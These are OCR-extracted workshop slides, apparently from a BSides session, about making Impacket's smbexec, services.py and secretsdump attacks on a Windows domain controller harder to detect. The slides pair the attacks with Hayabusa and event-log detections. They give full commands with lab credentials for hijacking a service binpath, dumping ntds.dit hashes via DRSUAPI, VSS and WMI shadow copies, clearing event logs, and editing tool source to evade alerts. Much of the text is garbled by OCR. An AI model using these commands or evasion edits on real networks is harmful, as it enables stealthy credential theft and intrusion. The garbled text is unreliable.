e Exercise:
o Modify the command to only execute the batch file
o Change the “data” variable to be the location of the script

#command = self. <hell + 'echo ' + data + ' #> ° [!] Launching semi-interactive shell - Careful what
#self. shell + batchFile (Cmd) C:\Windows\new.bat

# Modified Command (Cmd) C:\Windows\new.bat

command = self. shell + self. shell + data
(Cmd)



EX:

Clear the event logs on DCO1!
o PS> \clear_logs.bat
Connect to DCO1 with smbclient.py and navigate to the correct share
o $ smbclient.py BSIDES/jason:'Password123!'@192.168.x.20
o $ use SHARE$
Upload the newly created batch file that contains the commands
o $ put <file.bat>
Run the modified smbexec.py to execute the batch file
o $ smbexec.py BSIDES/jason:'Password123!'"@192.168.x.20 -service-name <service>
Download the output file via smbclient
o $ get <file.bat>
Delete any files that were uploaded/created via smbclient
o $ rm <file.bat>
o $ rm <output>
Execute Hayabusa on the DCO01
o PS> \hayabusa.exe csv-timeline -| -r rules/impacket --no-wizard

Take 20 minutes to complete Ex 3!
Let us know if you need any help!




Workshop Agenda

smﬁexec.py Service Installation - high - opsectarget.bsides.local - Svs - 7045 -
\\ACOMPUTERNAMEX\C$\__ output 27>"&1 > %SYSTEMROOT%\ajaFMLbd.bat & %COMSPEC% /Q /

sat | Acct: LocalSystem ; StartType: demand start - ServiceType: user mode servic

smbexec.py Service Installation - high - opsectarget.bsides.local - Sys - 7845 -
1 "> \\GCOMPUTERNAMEX\CS\ _output 2">"&1 > XSYSTEMROOT%\J]VCRedBB.bat & %COMSPEC%
iBB.bat | Acct: LocalSystem | StartType: demand start - ServiceType: user mode se

smbexec.py Service Installation - high - opsectarget.bsides.local - Sys - 7845 -
ninfo ~> \\4COMPUTERNAMEX\C$\__output 2">"&1 > %SYSTEMROOTH®\CJPuugPq.bat & %COMSP

JPuugPqg.bat | Acct: LocalSystem | StartType: demand start - ServiceType: user mod

smbexec.py Service Installation - high - opsectarget.bsides.local - Sys - 7845 -
Fig "> \\ACOMPUTERMAMEZX\C$%\_output 2">"8&1 > %SYSTEMROOTZ\WUjcnFPJ.bat & %COMSPEC
cnFPJ].bat |} Acct: LocalSystem ; StartType: demand start - ServiceType: user mode

Introduction
Background
Moditying Defaults
Command Execution
Service Creation

Credential Dumping



Service Creation

EventlD

EventName

Service

Sepvice
Service

Sepvice
Service
service

Control

Control
Control

Control
Control
Control

e \We've limited the number of new services
o Installing a new service is noisy!

Manager

Manager
Manager

Manager
Manager
Manager

ServiceName

WTsXelTA
LRyzfx]jr
ZTbnxJSB
ZTbhbnxJSB
FkPdbNBY



e Event logs generated: e New subkey under:
o Security Event ID 4697 o HKLM\SYSTEM\CurrentControlSet\Services\
o System Event ID 7045

EID 4697 - A service was

- installed in the system

EID 7045 : A service was
installed on the system

Detection

Look for keys created in the following path:
HKLM\SYSTEM\CurrentControlSet\Services\[Service
EID 12 : RegistryEvent (Object Create And Delete) £ Name]

Look for any modification to the following key:
HKLM\SYSTEM\CurrentControlSet\Services\[Service
EID 13 : RegistryEvent (Value Set) Namel\’

Nasreddine Bencherchali MindMaps



https://github.com/nasbench/MindMaps/blob/main/Windows%20System%20Processes/Services/Windows%20Services%20(Creation).xmind

Service Manipulation

e What if we modify an existing service?
o |dentify a stopped service
o Alter the binpath
o Start the service
o Reset the binpath
e Originally popularized by Mr-Un1k0d3r's SCShell project

binpath= Specifies a path to the service binary file. There is no default for binpath=, and this string
<binarypathname> must be supplied.


https://github.com/Mr-Un1k0d3r/SCShell

. Auditing Windows Services
® W h at a rt I fa CtS Many attacks rely on Windows services either for executing commands remotely or for maintaining

persistence on systems. While most of the events we have mentioned so far have been found in the

O Se C U rlty Eve nt | D 46 97 Security Event Log, Windows records events related to starting and stopping of services in the System Event

Log. The following events are often noteworthy:

O ¢ 6005 - The event log service was started. This will occur at system boot time, and whenever the
system is manually started. Since the event log service is critical for security, it gets is own Event ID.
6006 — The event log service was stopped. While this obviously occurs at system shutdown or

O C reatl O n Of reg I St ry S u b key restart, its occurrence at other times may be indicative of malicious attempts to avoid logging of

activity or to modify the logs.

o W h at a re C reate d ? ?D3¢_1 .—A service tE_rminatEd unexpectedl?ﬂ The Everﬂ_: descr_iptio.n wi! display the name of the

7036 — A service was stopped or started. While the event log service has its own Event ID, other

O SySte m Eve nt | D 703 6 services are logged under the same Event ID. The event description provides the name of the

service, but no details of which user account requested the service to stop is provided. The
description will indicate that the service entered the running state when it is started or entered the

7040- The start type for a service was changed. The event description will display the name of the

service that was changed and describe the change that was made.

7045 — A service was installed by the system. The name of the service is found in the Service Name
field of the event description, and the full path to the associated executable is found in the Service
File Name field. This can be a particularly important event as many tools, such as psexec, create a

service on the remote system to execute commands. Many of these tools will create a randomly
named service (which stands out in the logs as highly unusual) or will run an executable from
locations like the Temp folder. It is worth noting that some legitimate services, like Windows
Defender, may also use names that look in part randomized, so it is worth examining any odd
entries carefully to determine if they are malicious.




services.py

e Tool used for manipulating services remotely
o Start/Stop/Delete services
o Create/Change services
o Get service status
e Establish connection:
o $ services.py DOMAIN/user:pass'@IP
e |ist available services:
o [ist
e Targeting specific services:
o start -name Vvss
o config -name vss
o status -name Vvss

odie@opsec:~% services.py
Impacket v©.11.8 - Copyright 2023 Fortra

usage: services.py [-h] [-debug] [-hashes LMHASH:NTHASH]

[-port [destination port]]
target {start,stop,delete,status,confi

Windows Service manipulation script.

positional arguments:

target

[ [domain/ Jusername|[ : password]@]<t

{start,stop,delete,status,config,list,create,change}

start
stop
delete
status
config
list
create
change

actions

starts the service

stops the service

deletes the service

returns service status

returns service configuration
list available services

create a service

change a service configuration



Ex: Modify Service

e Exercise:

O

O

O

O

ldentify a service to modify
Modify the binpath of the service
Start the service (execute cmd)
Reset to the original binpath

O

O

O

O

W
W
W
W

e OPSEC Considerations:

nat is a good service to modify?
nat are services to avoid?
nat tradeoffs did we make?

nat artifacts are created?

odie@opsec:~/.local/bin$ services.py BSIDES/jason@l®.©.8.5 config -name svsvc
Impacket v©.12.0.dev1+20240718.115833.4ePe3174 - Copyright 2023 Fortra

Password:

[*] Querying service config for svsvc

TYPE : 32 - SERVICE_WIN32_ SHARE_PROCESS
START_TYPE . 3 - DEMAND START

ERROR_CONTROL . 1 - NORMAL

BINARY _PATH NAME : C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p

LOAD ORDER_GROUP

TAG . e
DISPLAY_ NAME : Spot Verifier
DEPENDENCIES : /

SERVICE_START_NAME: LocalSystem



Modify Service: Solution

e Exercise:
o Modify an existing service to achieve command execution

Commands:
e Get status of target service
o $ services.py BSIDES/jason:'Password123!'@192.168.x.20 status -name svsvc
e Review config
o $ services.py BSIDES/jason:'Password123!"@192.168.x.20 config -name svsvc
e Change path to our malicious modifications
o $ services.py BSIDES/jason:'Password123!'@192.168.x.20 change -name svsvc -path 'C:
\Windows\System32\conhost.exe C:\Windows\System32\cmd.exe /Q /c C:\Windows\new.bat'
e Verify changes
o $ services.py BSIDES/jason:'Password123!"@192.168.x.20 config -name svsvc




Modify Service: Solution

e Exercise:
o Modify an existing service to achieve command execution

Commands:

e Start Service
o $ services.py BSIDES/jason:'Password123!"@192.168.x.20 start -name svsvc

e Change path back to original
o $ services.py BSIDES/jason:'Password123!"@192.168.x.20 change -name svsvc -path

'C:\Windows\system32\vssvc.exe’

e Verify

o $ services.py BSIDES/jason:'Password123!"@192.168.x.20 config -name svsvc




Workshop Agenda

e |Introduction

odiedopsec:~% secretsdump.py -h
Impacket v@©.12.0.dev1+20240718.115833.4e0e3174 - Copyright 2623 Fortra

usage: secretsdump.py [-h] [-ts] [-debug] [-system SYSTEM] [-bootkey BOOTKEY] [
[-skip-security] [-outputfile OUTPUTFILE] [-use-vss] [-ro

[-use-remoteSSMethod] [-remoteSS-remote-volume REMOTESS_R o B a C k g ro u n d

[-1dapfilter LDAPFILTER] [-just-dc] [-just-dc-ntlm] [-ski
[-k] [-aesKey hex key] [-keytab KEYTAB] [-dc-ip ip addres
target

Performs various techniques to dump secrets from the remote machine without exe

e Modifying Defaults

positional arguments:
target [ [domain/ Jusername| :password]@]<targetName or address>

optional arguments:

-h, --help show this help message and exit o

-ts Adds timestamp to every logging output ‘ CO | I l l I la n d Exec Utl O n
-debug Turn DEBUG output ON

-system SYSTEM SYSTEM hive to parse

-bootkey BOOTKEY bootkey for SYSTEM hive

-security SECURITY SECURITY hive to parse

-sam SAM SAM hive to parse

[ ) [ )
e NTDS e e PS Se aVild> ( reation
-resumefile RESUMEFILE

resume file name to resume NTDS.DIT session dump (only
-skip-sam Do NOT parse the SAM hive on remote system
-skip-security Do NOT parse the SECURITY hive on remote system
-outputfile OUTPUTFILE

® ®
base output filename. Extensions will be added for sam, ‘ ‘ rEd e nt I a I D u m I n
-use-vss Use the NTDSUTIL VSS method instead of default DRSUAPI



e Performs various techniques to remotely
retrieve credentials:
o Password hashes
o Kerberos tickets
o Windows secrets
e [nteracts with SAM database, LSA 003
Secrets, ntds.dit
e 2 Methods to extract ntds.dit 004
o DRSUAPI method (default)
o VSS method

Enterprise T1003

.-.l .-.l Yy
1t e




DRSUAPI Method

e Protocol DC's use to replicate AD database changes between them

o Directory Replication Service (MS-DRSR) Remote protocol

o APl for MS-DRSR is DRSUAPI
e DC sends DSGetNCChanges request to get AD objects updates from DC2
e Usage: secretsdump.py BSIDES/jason:'Password123!'"@192.168.x.20

odie@opsec:~$% secretsdump.py BSIDES/jason@l®.8.©.5 -debug
Impacket v0.12.0.dev1+20248718.115833.4e0e3174 - Copyright 2823 Fortra

[+] Impacket Library Installation Path: /home/odie/.local/lib/python3.8/site-packages/impacket
Password:

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry

[+] Retrieving class info for 1D

[+] Retrieving class info for Skewl

[+] Retrieving class info for GBG

[+] Retrieving class info for Data



DRSUAPI Detections

Alert story

What happened

Suspected DCSync attack (replication

- - Jason Daniels on OPSEC sent 10 replhication requests to opsectarget.
of directory services)
mmm High | ® Unknown | ® New Alert graph
Jason Daniels OPSEC opsectarget

2024-98-02 22:06:51.195 +90:00 - Mimikatz DC Sync - high - opsectarget.bsides.local - Sec - 4662 - 877166 - User: jaso
n ; ObjSvr: DS | ObjName: %{f820717e-3376-4df6-a691-b70188c14c4b} | OpType: Object Access ; HID: ©x@ | LID: ©x25bc56 -
Accesslist: %%7688 | AccessMask: 0x100 | AdditionalInfo2: | AdditionalInfo: - | ObjectType: %{19195a5b-6da@-11d@-afd
3-00c04fd930c9} | Properties: %%7688 {1131f6ad-9c07-11d1-f79f-00cB4fc2dcd2} {19195a5b-6da@-11d0-afd3-00c04fdo30c9) ! S
ubjectDomainName: BSIDES | SubjectUserSid: 5-1-5-21-3031899076-3004946400-3782566065-1103

2024-98-02 22:06:51.195 +00:00 - Active Directory Replication from Non Machine Account - crit - opsectarget._bsides.loc
al - Sec - 4662 - 877166 - User: jason ; ObjSvr: DS | ObjName: %{f820717e-3376-4df6-a691-b70188c14c4b} | OpType: Objec
t Access , HID: @x0 | LID: @x25bc56 - AccesslList: %%7688 | AccessMask: ©0x100 | AdditionalInfo2: | AdditionalInfo: - |
ObjectType: %{19195a5b-6da®-11d0-afd3-00c04fd930cO} | Properties: %%7688 {1131f6ad-9c07-11d1-f79f-00cP4fc2dcd2} {1919
5a5b-6da@-11d@-afd3-00c04fd930c9} | SubjectDomainName: BSIDES | SubjectUserSid: S-1-5-21-30831899076-3004946400-3782566
B65-1163



VSS Method

e VVolume Snapshot Service (VSS) Vssadmin create shadow

o aka Volume Shadow Copy Article + 08/31/2016
o aka Shadow copies In this article
e Service used to create local backups N
(vssadmin) St

Additional references

e 3 Execution Methods:
o smbexec (default), wmiexec, dcomexec

e Recover backups of ntds.dit and SYSTEM hive
o Locked when DC is running



VSS Method: Initial Test

e Usage:

o secretsdump.py -just-dc-ntlm BSIDES/jason:'Password123!"@192.168.x.20 -use-vss
e Exercise:

o Execute secretsdump vss method against DCO1

o Run hayabusa on DCO1 and review results

odie@opsec:~$ secretsdump.py -just-dc-ntlm BSIDES/jason@l®.©.8.5 -use-vss -debug
Impacket v©.12.0.dev1+202408718.115833.4e0e3174 - Copyright 2023 Fortra

[+] Impacket Library Installation Path: /home/odie/.local/lib/python3.8/site-packages/impat
Password:

[+] Service RemoteRegistry is already running

[+] Retrieving class info for 1D

[+] Retrieving class info for Skewl

[+] Retrieving class info for GBG

[+] Retrieving class info for Data

[*] Target system bootKey:

[+] Checking NoLMHash Policy

[+] LMHashes are NOT being stored

[*] Searching for NTDS.dit

[*] Registry says NTDS.dit is at C:\Windows\NTDS\ntds.dit. Calling vssadmin to get a copy.
[*] Using smbexec method for remote execution



Hypothesis

Service Name (Old) Batch Filename

2024-08-03 18:23:28.667 +80:90 - smbexec.py Service Installation - opsectarget.bsides.local - Sys - 7845 1
5813 -/ Svc: WNbtoeEu | Path: %COMSPEC¥% /Q /c echo %COMSPEC¥% / SEdmin list shadows /for=C: ~> ZSYSTEMROOTZ\Temp\_
_output > %TEMP%\execute.bat & %COMSPEC¥% /Q /c %TEMP%\execute.bat % del %TEMP¥\execute.bat | Acct: LocalSystem ; St
artType: auto start - ServiceType: user mode service

2024-08-03 18:23:28.667 +00:00 - smbexec.py Service Installation - high - opsectarget.bsides.local - Sys - 7845 - 1

5813 - Syrc- LiNht+naFn | path- ¥rnMSDECY fﬁ fr arhn ¥ NMSPECY ft“ wecadmin list chadmues f-Fnr"—F vy KS?STEMRDDT%HTempH_
_output > %TEﬁpﬁhexecutE bat & %COMSPECH KQ Jc %TEMP%\execute.bat & del %TEMPX%\execute.bat : Acct: LocalSystem ; St
artType: auto start - Servicelype: user mo rvice

Command Line

Path:
ACOMSPEC% /Q /c echo RCOMSPEC% /C vssadmin list shadows ffor=C: "> C:\Windows\Temp\ output > C:\Windows\TEMP\execute.bat &

ACOMSPEC% /Q /c C:\Windows\TEMP\execute.bat &
del C:\Windows\TEMP\execute.bat



What Happened?

Service Name Batch Filename
100 self.
481 self. serviceDeleted = False
482
483 self._ batchFile =
484 self. shell = "RCOMSPECX: /Q /c °
486 self. answerTMP = b"’
A7
488 self. execMethod = "smbexef’

Output Filename




What Happened?

Path:
ACOMSPEC%: %COMSPEC% /Q /c HBSYSTEMROOTA\ffivKsAQ.bat

Service Name

Command Line

Look at how they massacred my boy

1891 w \ef  executeRemote(self, data):

1892 self. tmpServiceName = ' *.join([random.choi®e{string.ascii letters) for _ in range(8)])

1893 yvommand = self. shell + "echo " + data + " *» " + self. output + " > ' + self. batchFile + " & " + \
1894 self. shell + self. batchFile

1895 command +=

1896



Modify VSS Method

impacket / impacket / examples / secretsdump.py (&}
File locations:

e /home/<user>/.local/pipx/venvs/impacket/bin/secretsdump.py
e /home/<user>/.|local/pipx/venvs/impacket/lib/python3.8/site-packages/impacket/examples/secretsdump.py

Variables:
e Some variables are hardcoded in multiple locations, ex: “__output”

odie@opsec:~$ grep -Ein 'Temp\\\\__output' og secretsdump.py

405 ; self. output = "ZBSYSTEMROOTXZ\\Temp\\__output'’

1121: self. smbConnection.getFile('ADMIN$', 'Temp\\ output', self._ answer)
1155: self. smbConnection.deleteFile( 'ADMIN$', 'Temp\\ output')

1217: self. smbConnection.deleteFile('ADMIN$', 'Temp\\ output')

1227: logging.error('Cannot delete target file \\\\%s\\ADMIN$\\Temp\\ output: %s’

S [ e =



Ex: Modify secretsdump

* Exercise: » OPSEC Consideration:
o Change service name o Did this help with the detections?
O MOdIfy batCh fllename 488 self. tmpServiceMame = None
. 481 self. serviceDeleted = False
o Change output filename .
483 self. batchFile = "ETEMPX\\execute.bat’
484 self. shell = "RCOMSPECE /Q /fc '’
485 self. output = "ESYSTEMROOTE\\Temp\\_ output’
486 self. answerTMP = b""
487
498 self. execMethod = "smbexec’
1091 w def  executeRemote(self, data):
1092 self. tmpServiceName = " .join([random.choice(string.ascii letters) for _ in range(8)])
1895 command = self. shell + "'echo " + data + " *> " + self. output + " > ' + self. batchFile + " & " + )\
1894 self. shell + self. batchFile
1895 command += °~ & ' + 'del ' + self. batchFile

1896



EX: secretsdump: Solution

e Exercise:
o Modify the secretsdump vss smbexec method

480 self. | tmpServiceName = lNone

o Llnes #: 400, 1 092 481 self. serviceDeleted = False
482
483 self. batchFile =] "2TEMP%\\execute.bat'
484 self. shell = "RCOMSPECX: /Q /c '

SO LUTI 0 N ° 485 self. output = "RSYSTEMROOTZ\\Temp\\__ output’
S 486 self. answerTMP = b""’
o o o 487
e Find instances of output filename o o ereemethog e

o $ grep -Ein "Temp\\\\__output' secretsdump.py
e Replace all instances of the hardcoded output location

o $ sed -in's/Temp\\\\__output/Temp\\\\AJ8PK.tmp/g' secretsdump.py
e Verify changes

o $ grep -Ein "Temp\\\\__output' secretsdump.py



Modified VSS Artifacts

Timestamp Account
2024-08-03T21:50:17.12800432 Jason Daniels
Computer Service name
opsectarget SVCSV

Service path

%NCOMSPECS /Q fc echo %BCOMSPECY% /C copy \\?
\VGLOBALROOT\Device\HarddiskVolumeShadowCopy 1\Windows\NTDS\ntds.dit
20SYSTEMROOT\ Temp\kwBZECxl.tmp » > %SYSTEMROOT%\Temp\AJBPK.tmp
> % TEMP%\backup.bat & %COMSPEC?% /Q /c %eTEMP%\backup.bat & del

2% TEMPS\backup.bat

|2@2ﬂ—@3—@3 21:50:17.291 +08:80 - smbexec.py Service Installation - high - opsectarget.bsides.local - Sys - 7845 - 16021 - Svc: svcsv
ath: RCOMSPEC% /Q /c echo RCOMSFECH JU Vasddimln UElele srnddows /shadow="{87e6b%ad-fe57-4250-84b9-bc86b2%e72fa}" /Quiet "> HBSYSTEMROO

|
p
h%\TempHﬂ]EPK.tmp > RTEMP%\backup.bat & %COMSPECK /Q /c XTEMP%\backup.bat & del ZTEMP%\backup.bat , Acct: LocalSystem , StartType: aut

o start - Servicelype: user mode service
|
2024-08-03 21:50:17.291 +00:80 - smbexec.py Service Installation - high - opsectarget.bsides.local - Sys - 7045 - 16021 - Svc: svcsv |

' Path: %COMSPEC% /Q /c echo BCOMSPEC% /C vssadmin delete shadows /shadow="{07e6b%ad-{te57-4250-84b9-bc86b29e72fa}" /Quiet "> HSYSTEMROO
|

h%\lemp\AJHPH.tmp > alEMPR\backup.bat & R LCOMSPECR /Q /c &IEMPR\backup.bat & del &IEMP&\backup.bat ;, Acct: LocalSystem , StartType: aut
start - ServiceType: user mode service




Remote Shadow Snapshot

What is this?!

-exec-method [{smb ywmiexec ,mmcexec }]
Remote exec method to use at target (only when using -use-vss). Default: smbexec
-use-remoteSSMethod Remotely create Shadow Snapshot via WMI and download SAM, SYSTEM and SECURITY from it, the parse locally
-remoteSS-remote-volume REMOTESS REMOTE_VOLUME

Remote Volume to perform the Shadow Snapshot and download SAM, SYSTEM and SECURITY
-remoteSS-local-path REMOTESS _LOCAL_PATH

Path where download SAM, SYSTEM and SECURITY from Shadow Snapshot. It defaults to current path



A New Hope?

[SECRETSDUMP] New Dump Method - Shadow Snapshot Method via WMI
#1719

- anadrianmanrique merged 20 commits into fortra:master from PeterGabaldon:shadowSnapshotMethod [0 on May 13

L) Conversation 20 -0- Commits (20 F) Checks (9 [#) Files changed (3
t PeterGabaldon commented on Mar 19 » edited « Contributor = *** Reviewers
. anadrianmanrique

[UPDATE]
Thanks to @Veids and its advice, it is now working without RCE. It was my mistake that | implemented it bad, but now it is Assignees
working. SAM/SYSTEM/SECURITY are downloaded via SMB from the Shadow Snapshot. | have to clear a little bit the code, but it is . B
working fine. d
#1719 (comment) Labels

high ' | waiting for response

A new method for dumping local credentials has been developed that does not depend on the registry. This technique involves
creating a Shadow Snapshot on the remote computer through WMI and downloading the SAM, SYSTEM, and SECURITY files for
local analysis. Although Impacket implements a method for utilizing Shadow Snapshot, this method is distinct. The method Projects
currently in use targets NTDS in Domain Controllers using vssadmin create. Since the create command is not available in vssadmin
on client computers, it is not possible to create a Shadow Snapshot remotely with this built-in tool. However, creation is feasible

using WML.

Mone yet

Milactnana



WMI Shadow Snapshot

e Creates a Shadow Snapshot through WMI
e Downloads SAM, SYSTEM, and SECURITY via SMB and processes locally
e No interaction with the registry is necessary

1856 w def  wmiCreateShadow(self, wvolume):

1857 username, password, domain, lmhash, nthash, aesKey, , = self. smbConnection.getCredentials()
1858 dcom = DCOMConnection(self. smbConnection.getRemoteHost(), username, password, domain, lmhash, nthash, aesKey,
1859 oxidResolver=False, doKerberos=self. doKerberos, kdcHost=self. kdcHost)
1866 iInterface = dcom.CoCreateInstanceEx{wmi.CL5ID Wbemlevelllogin,wmi.IID IWbemlLevelllogin)

1861 iWbemlLevelllogin = wmi.IWbemlLevelllogin(iInterface)

1862 iWbemServices= iWbemLevelllogin.NTLMLogin("//./root/cimv2’, NULL, HNULL)

1863 iWbemLevelllogin.RemRelease()

1864

1865 win32ShadowCopy, = iWbemServices.GetObject( 'Win32 ShadowCopy')

1866 LOG.debug( ' Trying to create 55 remotely wvia WMI')

1067 result = win32ShadowCopy.Create(volume, 'ClientAccessible’)



EX: Remote SS Test

* Usage.

o secretsdump.py BSIDES/jason:'Password123!'@192.168.x.20 -use-remoteSSMethod
e Exercise:

o Execute secretsdump remote Shadow Snapshot method against DCO1

o Run hayabusa on DCO1 and review results

o What indicators were found?

Q

odie@opsec:~$% secretsdump.py -just-dc-ntlm BSIDES/jason@l®.8.0.5 -use-remoteSSMethod -debug
Impacket v0.12.0.dev1+26240718.115833.4e0e3174 - Copyright 2023 Fortra

[+] Impacket Library Installation Path: /home/odie/.local/lib/python3.8/site-packages/impack
Password:

[*] Creating SS

[+] Target system is 10.8.8.5 and isFQDN is False

[+] StringBinding: opsectarget[53811]

[+] StringBinding: 1©.6.6.5[53811]

[+] StringBinding chosen: ncacn_ip tcp:16.0.8.5[53811]

[+] Trying to create SS remotely via WMI !r
[+] Got ShadowID {C46D7D3E-3118-4EOE-B16A-880993394CEQ}



Remote SS Findings?

e Exercise:
o What indicators were found?
o How does it compare to VSS smbexec method?

| <
~ I want you to put the word out
that we back up. & e



Conclusion o:==

e Review

* Closing Thoughts

e Resources
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smbexec OPSEC

e Disk Indicators § s indicators

o Filenames

: o Locations
¢ MemOry lndlcatOrS o Unnecessary file creation
* Process Indicators:

O Process |ndicat0rs o Unnecessary process creation

o Suspicious command-line
° Network |ndicatOrS o Service Creation vs Modification

o Uncommon Image Path



Disk Indicators: Before

1. Echo Command into Batch File

cmd.exe /Q /c echo [...snip...]> C:\Windows\aRpjlhMy.bat Create a new batch file

for each command?

2. Execute Batch File TOTAL:

cmd.exe /Q /c C:\Windows\aRpjlhMy.bat Files Written: 6
Files Deleted: 6

Output written + deleted for
each command

3.Cmd Inside Batch File Executed
systeminfo > \\MULTIVERSE\C$\ output 2>&1

4. Delete Batch File
del C:\Windows\aRpjlhMy.bat €= D @l @ ting €ach time



Disk Indicators: After

1. Echo Command into Batch File
cmd.exe /Q /c echo [...snip...]> C:\Windows\aRpjlhMy.bat €=————=Uploading one batch file!

2. Execute Batch File

TOTAL: TOTAL:
cmd.exe /Q /c C:\Windows\aRpjlhMy.bat Files Written: 6 Uploading 1 File
3.Cmd Inside Batch File Executed Files Deleted: 6  Deleting 1 File

systeminfo > WMULTIVERSE\C$\__output 2>&1 €=——————=Qutput written + deleted once!

4. Delete Batch File
del C:\Windows\aRpjlhMy.bat €=——|]sed q better method to delete!




- Process Creation: Before




- Process Creation: After




Command Line: Before

Path:
#COMSPEC% /Q /c echo systeminfo ~» \\ACOMPUTERNAME®\C$\ output 2">"&1 > RSYSTEMROOTZA\ffivKsAQ.bat &

ACOMSPECX: /Q /c ASYSTEMROOTA\fT1ivKsAQ.bat &
del RSYSTEMROOTH\+ivKsAQ.bat

Path:
wCOMSPEC% /Q /c echo systeminfo *» \\ACOMPUTERNAME%\C$\ output 2">"&1 > ASYSTEMROOTZE\ffivKsAQ.bat &

ACOMSPEC%: /Q /c BSYSTEMROOTZ\f+ivKsAQ.bat &
del ASYSTEMROOTH\T+1ivKsAQ.bat



Command Line: After

Path:
ACOMSPEC% /Q /c echo systeminfo > \\ACOMPUTERNAMEZX\C$\ output 2">"&1 > %SYSTEMROOTZA\ffivKsAQ.bat &

ACOMSPEC% /Q fc BSYSTEMROOTZ\f+ivKsAQ.bat &
del RSYSTEMROOTH\T+ivKsAQ.bat

Path:
#ACOMSPECA %COMSPECR: /Q /c RSYSTEMROOTZA\ffivKsAQ.bat



EID 4697 : A service was

- installed in the system

EID 7045 : A service was
installed on the system

Detection
Look for keys created in the following path:

HKLM\SYSTEM\CurrentControlSet\Services\[Service
EID 12 : RegistryEvent (Object Create And Delete) £ Namel]

Look for any modification to the following key:
HKLM\SYSTEM\CurrentControlSet\Services\[Service

EID 13 : RegistryEvent (Value Set) Namel\*




Detection

(evs created | ming path:
. 5|Set\Services\[Service

EID 12 : RegistryEvent (Object Create And Delete) & Name]

Look for any modification to the following key:
HKLM\SYSTEM\CurrentControlSet\Services\[Service
EID 13 : RegistryEvent (Value Set) Namel]\’




What about EDR?

E(_}—[-]
 impacket-smbexec " ' -hashes

Impacket v0.12.0.devl - Copyright 2023 Fortra

-shell-type cmd -service-name _-dehug

[+] Impacket Library Installation Path: /usr/lib/python3/dist-packages/impacket

[+] stringBinding ncacn_npsi  [\pipe\svcctl]

[+] Executing %COMSPEC% /Q /c echo cd “> \\NCOMPUTERNAMEX\C$\__output 2°>"51 > %SYSTEMROOT%\DHfbFlOx.bat & %COMSPEC% /Q /c %SYSTEMROOT%\DHfbFlOx.bat & del %SYSTEMROOT%\DHfbFlOx.bat
[!'] Launching semi-interactive shell - Careful what you execute

C:\Windows\System32>ipconfig

[+] Executing %COMSPEC% /Q /c echo ipconfig "> \\%COMPUTERNAMEX\C$%\__output 2">"&1 > %SYSTEMROOT%\CiDASBen.bat & %COMSPEC% /Q /c %SYSTEMROOT%\CiDASBen.bat & del %SYSTEMROOT%\CiDASBen.b

Windows IP Configuration

wireless LAN adapter [

Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix

wireless LAN adapter [

Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix

Wireless LAN adapter [

Connection-specific DNS Suffix

Link-local IPv6 Address . . . . . :
IPv4 Address. . « « v « o« « « &«
Subnet Mask . . . . . . . . . . .

Default Gateway . . . . . « . . . @
Ethernet adapter Bluetooth Network Connection 2:

Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix

C:\Windows'\System32>whoami
[+] Executing %COMSPEC% /Q /c echo whoami 3 \\IEﬂHFUTERHAIEI\E$\__Dutput 2°>"51 > %SYSTEMROOT%\HshORwAu.bat & %COMSPEC% /Q /c %SYSTEMROOT%\HshORwAu.bat & del %SYSTEMROOT%\HshORwAu.bat
nt authority\system

C:\Windows\System32>J} =



Closing Thoughts

e Greater understanding of how our tools
work

e Limited actions to minimize exposure

o Followed a general methodology

e OPSEC considerations discussed today
are only the beginning!

e Good tradecraft requires a lot of testing
and experimentation!




Questions?

Loopback Discord Link

Email:
odie@loopbacklabs.io

Discord:

@odie_sec
@vhfw
@pure_struggle

Linkedin:
linkedin.com/in/odonnell-ryan


https://discord.gg/8XQh4aqH99

Sysmon: a viable alternative to EDR?

o https://detect.fyi/sysmon-a-viable-alternative-to-edr-44d4tbe5735a
Sigma Rules: The Beginners Guide

o https://socprime.com/blog/sigma-rules-the-beginners-guide/
Red Canary Impacket Threat Detection Repot

o https://redcanary.com/threat-detection-report/threats/impacket/
JPCERT Detecting Lateral Movement Through Tracking Event Logs

o https://www.jpcert.or.jp/english/pub/sr/

DetectinglLateralMovementThroughTrackingEventLogs_version2.pdf

Hunting for Impacket

o https://riccardoancarani.github.io/2020-05-10-hunting-for-impacket/
SpecterOps: Defenders Guide to Windows Services

o https://posts.specterops.io/the-defenders-guide-to-windows-services-67c1711ecba7



Sysmon: a viable alternative to EDR?

o https://detect.fyi/sysmon-a-viable-alternative-to-edr-44d4tbe5735a
Sigma Rules: The Beginners Guide

o https://socprime.com/blog/sigma-rules-the-beginners-guide/
Red Canary Impacket Threat Detection Repot

o https://redcanary.com/threat-detection-report/threats/impacket/
JPCERT Detecting Lateral Movement Through Tracking Event Logs

o https://www.jpcert.or.jp/english/pub/sr/

DetectinglLateralMovementThroughTrackingEventLogs_version2.pdf

Hunting for Impacket

o https://riccardoancarani.github.io/2020-05-10-hunting-for-impacket/
SpecterOps: Defenders Guide to Windows Services

o https://posts.specterops.io/the-defenders-guide-to-windows-services-67c1711ecba7




Bonus: PsExec

* Repeat the process with PsExec
e Do you notice similar indicators?
e WWhat new indicators did you uncover?

Named Pipes

2024-87-01 23:18:46.956 +00:886 - Pipe Created - info - EC2AMAZ-LMFD2TO - Sysmon - 17 - 3713 - Pipe: \RemCom_communicaton | Proc: C:\Windows\tQBIFjlu.exe | PID: 2920 | PGUID: FC798@
B94-3956-6683 -CF1C-00000080C5081 - EventType: CreatePipe | RuleMame: - | User: NT AUTHORITY\SYSTEM | UtcTime: 28624-87-81 23:18:46.953

2024-87-81 23:18:46.956 +808:80 - PUA - RemCom Default Named Pipe - med - EC2AMAZ-LMFD2TO - Sysmon - 17 - 3713 - Pipp: \RemCom_communicaton J Proc: C:\Windows\tQBIFjlu.exe | PID: 2
928 | PGUID: FC790889A-3956-6683-CF1C-00000000C581 - EventType: CreatePipe | RuleName: - | User: NT AUTHORITY\SYSTEM | UTCTime: 2024-97-91 23:18:46.953

2024-87-081 23:18:46.975 +00:88 - Pipe Created - info - EC2AMAZ-LMFD2TO - Sysmon - 17 - 3714 - Pipe: \RemCom_stdoutwaHE877287 | Proc: C:\Windows\tQBIFjlu.exe | PID: 2928 | PGUID: F
C79089A-3956-6683 -CF1C-00D008BBC501 - EventType: CreatePipe | RuleMame: - | User: NT AUTHORITY\SYSTEM | UtcTime: 20824-87-81 23:18:46.969

